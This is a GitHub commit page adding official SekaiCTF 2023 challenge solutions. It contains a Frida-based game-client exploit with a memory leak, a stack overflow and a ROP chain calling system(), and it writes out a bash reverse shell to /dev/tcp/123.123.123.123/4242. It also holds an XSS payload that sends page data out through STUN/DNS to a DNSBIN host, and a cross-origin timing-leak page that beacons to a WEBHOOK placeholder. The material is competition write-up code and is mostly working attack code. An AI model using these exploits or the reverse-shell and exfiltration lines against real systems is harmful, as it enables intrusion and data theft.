Skip to content

Commit

Permalink
SekaiCTF 2023 Challenges
Browse files Browse the repository at this point in the history
  • Loading branch information
sahuang committed Aug 29, 2023
1 parent a4a933b commit 52ac593
Show file tree
Hide file tree
Showing 5 changed files with 129 additions and 3 deletions.
5 changes: 3 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,11 +8,11 @@

This repository contains official **source code** and **writeups** for challenges from [SekaiCTF 2023][CTFTime Event].

[CTFTime Event][CTFTime Event]
[Website][Website]
[Discord][Discord]
[Blog][Blog]
[Twitter][Twitter]
[Twitter][Twitter]
[SekaiCTF 2022][CTF 2022]

---

Expand Down Expand Up @@ -138,6 +138,7 @@ Any **non-code/program content** (writeups, READMEs, descriptions) in this repos
[Blog]: https://sekai.team/
[Twitter]: https://twitter.com/projectsekaictf
[Discord]: https://discord.gg/6gk7jhCgGX
[CTF 2022]: https://github.com/project-sekai-ctf/sekaictf-2022

[agpl]: https://www.gnu.org/licenses/agpl-3.0.en.html
[cc-by-nc-sa]: https://creativecommons.org/licenses/by-nc-sa/4.0/
Expand Down
2 changes: 1 addition & 1 deletion pwn/hibana/solution/README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
## TL;DR
## How to run the exploit

- Edit the script to change reverse shell address and port
- Spawn a listen netcat
Expand Down
20 changes: 20 additions & 0 deletions pwn/hibana/solution/frida.js
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ console.log('[+] hw.dll =', hw.base);
var basePath = hw.path.substring(0, hw.path.length - 6) + 'svencoop_downloads\\';
console.log('[+] basePath =', basePath);

// The plugin doesn't check the bfOffBits (offset 0xA) field, which is the offset from
// the beginning of the file to pixels data, and mmaped regions will always have
// the same relative distance to libc, so we get a very powerful arbitrary leak.
// We will read the main TCB, which have the stack canary as well as a libc pointer.
// To find the main TCB, we can use `search` command in pwndbg to search for the canary.

const leakBmpHeader = [0x42, 0x4d, 0x36, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaf, 0xa5, 0xff, 0x28, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
Expand All @@ -13,9 +19,12 @@ File.writeAllBytes(basePath + 'headicons\\leak.bmp', leakBmpHeader);
File.writeAllBytes(basePath + 'x.xyz', new ArrayBuffer('bash -i >& /dev/tcp/123.123.123.123/4242 0>&1\n'));

function makeExploit(sprData) {
// SPR file processing: https://github.com/yuraj11/HL-Texture-Tools/blob/master/HL%20Texture%20Tools/HLTools/SpriteLoader.cs
var palette = new Uint8Array(sprData.slice(42, 810));
var bitmap = new Uint8Array(sprData.slice(830, sprData.length));
var data = new Uint8Array(768);

// SPR uses RGB while BMP uses BGR, so we need to convert to reconstruct the original memory layout
for (let i = 0; i < 16; ++i) {
for (let j = 0; j < 16; ++j) {
data[48 * i + j * 3 + 0] = palette[bitmap[(15 - i) * 16 + j] * 3 + 2];
Expand All @@ -29,6 +38,11 @@ function makeExploit(sprData) {
console.log("[+] libc =", libc.toString(16));
console.log("[+] canary =", canary.toString(16));

// The plugin build a RGB palette based on every different color in the original BMP.
// However while the maximum size of the palette buffer on stack is 256 * 3 = 768 bytes, there are no OOB checks.
// If the BMP has too many different colors, a stack BOF will happen.
// We abuse this to overwrite return address and start our ROP chain, which will call system().

var rop2 = new Uint32Array(12);
rop2[0] = libc + 0x000b3f3c; // add dword ptr [eax], esp ; ret
rop2[1] = libc + 0x000d9028; // mov eax, dword ptr [eax] ; ret
Expand Down Expand Up @@ -95,6 +109,10 @@ function makeExploit(sprData) {
f.close();
}

// Diff patching `engine_i686.so`, we see that it is possible to upload files to dedicated servers.
// By analyzing engine_i686.so, we found out that files are sent from the server by calling `Netchan_CreateFragments` and `Netchan_FragSend`.
// Since the network code are shared between client and server, we can find and call these functions on client as well.

var Netchan_CreateFragments = new NativeFunction(hw.base.add(0x750E0), 'void', ['int', 'pointer', 'pointer'], { exceptions: 'propagate' });
var Netchan_FragSend = new NativeFunction(hw.base.add(0x75730), 'void', ['pointer'], { exceptions: 'propagate' });
var clsChanAddr = hw.base.add(0x399A38);
Expand All @@ -105,6 +123,7 @@ function sendFile(path) {
Netchan_FragSend(clsChanAddr);
}

// We intercept `upload` console command to upload files, since the original function will only upload customization data (i.e. custom spray)
var CL_BeginUpload_fAddr = hw.base.add(0x2AE20);
var CL_BeginUpload_f = new NativeFunction(CL_BeginUpload_fAddr, 'void', [], { exceptions: 'propagate' });
var Cmd_Argv = new NativeFunction(hw.base.add(0x39810), 'pointer', ['int'], { exceptions: 'propagate' });
Expand All @@ -118,6 +137,7 @@ Interceptor.replace(CL_BeginUpload_fAddr, new NativeCallback(() => {
CL_BeginUpload_f();
}, 'void', []));

// We intercept `CL_ProcessFile`, because it's where downloaded data from servers are processed.
var CL_ProcessFileAddr = hw.base.add(0x29B80);
var CL_ProcessFile = new NativeFunction(CL_ProcessFileAddr, 'void', ['int', 'pointer'], { exceptions: 'propagate' });

Expand Down
1 change: 1 addition & 0 deletions web/golf-jail/solution/solve.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
https://golfjail.chals.sekai.team/?a=`;/*&xss=%3Csvg%20onload=eval(%27`%27%2BbaseURI)%3E&b=*/pc=new/**/RTCPeerConnection({[`iceServers`]:[{[`urls`]:[`stun:${document.childNodes[0].textContent.split(``).map(function(c){return/**/c.charCodeAt(0).toString(16)}).join(``).slice(0,32)}.DNSBIN.com`]}]});pc.createOffer({offerToReceiveAudio:1}).then(function(o){pc.setLocalDescription(o)});
104 changes: 104 additions & 0 deletions web/leakless-note/solution/solve.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@

<!DOCTYPE html>
<html>
<body>
<script>
const TARGET = "https://leaklessnote.chals.sekai.team";

const log = (id, data) => {
console.log(id, data);
navigator.sendBeacon(`https://WEBHOOK/${id.replace(/ /g, "_")}`, data);
};

const sleep = (ms) => new Promise(r => setTimeout(r, ms));
const waitFor = async (w) => {
while (true) {
try {
w.frames[0].postMessage;
break;
} catch {}
await sleep(1);
}
}

const median = (numbers) => {
const sorted = Array.from(numbers).sort((a, b) => a - b);
const middle = Math.floor(sorted.length / 2);
if (sorted.length % 2 === 0) {
return (sorted[middle - 1] + sorted[middle]) / 2;
}
return sorted[middle];
};

const oracle = async (w, href) => {
const runs = [];
for (let i = 0; i < 8; i++) {
const samples = [];
for (let j = 0; j < 600; j++) {
const b = new Uint8Array(1e6);
const t = performance.now();
w.frames[0].postMessage(b, "*", [b.buffer]);
samples.push(performance.now() - t);
delete b;
}
runs.push(samples.reduce((a,b)=>a+b, 0));
w.location = href;
await sleep(500); // rate limit
await waitFor(w);
}
runs.sort((a,b) => a-b);
return {
median: median(runs.slice(2, -2)),
sum: runs.slice(2, -2).reduce((a,b)=>a+b,0),
runs
}
}

const alphabet = {"}":"https://leaklessnote.chals.sekai.team/post.php?id=7d4ff4e98fc2a53a","a":"https://leaklessnote.chals.sekai.team/post.php?id=948247e0ef71c65a","b":"https://leaklessnote.chals.sekai.team/post.php?id=f94cd9109c5cc76f","c":"https://leaklessnote.chals.sekai.team/post.php?id=3fb0140e5cbb856e","d":"https://leaklessnote.chals.sekai.team/post.php?id=8d93e194342ecbac","e":"https://leaklessnote.chals.sekai.team/post.php?id=24450e18a8ad6928","f":"https://leaklessnote.chals.sekai.team/post.php?id=0915d171b5c6bf0c","g":"https://leaklessnote.chals.sekai.team/post.php?id=90cd95b73f14fff2","h":"https://leaklessnote.chals.sekai.team/post.php?id=f29c6ed3fc6ab3ad","i":"https://leaklessnote.chals.sekai.team/post.php?id=6b11c52fa8b1f63d","j":"https://leaklessnote.chals.sekai.team/post.php?id=9ba379ef97f82787","k":"https://leaklessnote.chals.sekai.team/post.php?id=2db54305f57eecd4","l":"https://leaklessnote.chals.sekai.team/post.php?id=81c2820278c3bd4f","m":"https://leaklessnote.chals.sekai.team/post.php?id=c8654cc3238c9ada","n":"https://leaklessnote.chals.sekai.team/post.php?id=868ad5471dcd6cd3","o":"https://leaklessnote.chals.sekai.team/post.php?id=1e3a5b77ebf1fbef","p":"https://leaklessnote.chals.sekai.team/post.php?id=110b03fd55e49ef0","q":"https://leaklessnote.chals.sekai.team/post.php?id=8e22d8ab74eb5fa5","r":"https://leaklessnote.chals.sekai.team/post.php?id=051c6854c4974052","s":"https://leaklessnote.chals.sekai.team/post.php?id=0238d1990a00d143","t":"https://leaklessnote.chals.sekai.team/post.php?id=af45c2e15daf45d9","u":"https://leaklessnote.chals.sekai.team/post.php?id=10834c98fc412b24","v":"https://leaklessnote.chals.sekai.team/post.php?id=205f6ac2bd49150c","w":"https://leaklessnote.chals.sekai.team/post.php?id=6f1dff64bd65487e","x":"https://leaklessnote.chals.sekai.team/post.php?id=d9476fb6e53db711","y":"https://leaklessnote.chals.sekai.team/post.php?id=33c7adac732f1612","z":"https://leaklessnote.chals.sekai.team/post.php?id=f5fad0c559cd74a8"}

const pwn = async () => {
log("go go go!");

let i = 0;
if (location.hash) {
i = Object.keys(alphabet).indexOf(location.hash.slice(1));
}

for (; i < Object.keys(alphabet).length; i++) {
const c = Object.keys(alphabet)[i];

const test = window.open(alphabet[c]);
await waitFor(test);
const r = await oracle(test, alphabet[c]);
log(`${c}_${r.median.toFixed(4)}`, JSON.stringify(r));
test.close();
}
};

pwn()
.catch(err => {
log("error", err.message);
})

/*
let known = "SEKAI{";
for (let c of "abcdefghijklmnopqrstuvwxyz}") {
await fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: `title=${known + c}&contents=${encodeURIComponent(`<iframe src="/search.php?query=${known + c}"></iframe>`)}`
});
await new Promise(r => setTimeout(r, 250));
}
console.log("done");

//

copy(JSON.stringify(Object.fromEntries([...$$("a[href^='/post.php']")].filter(s => s.innerText.length === Math.max(...[...$$("a[href^='/post.php']")].map(s => s.innerText.length))).map(a => [a.innerText.at(-1), a.href]).sort((a,b) => a[0].localeCompare(b[0])))))

//
</script>
</body>
</html>

0 comments on commit 52ac593

Please sign in to comment.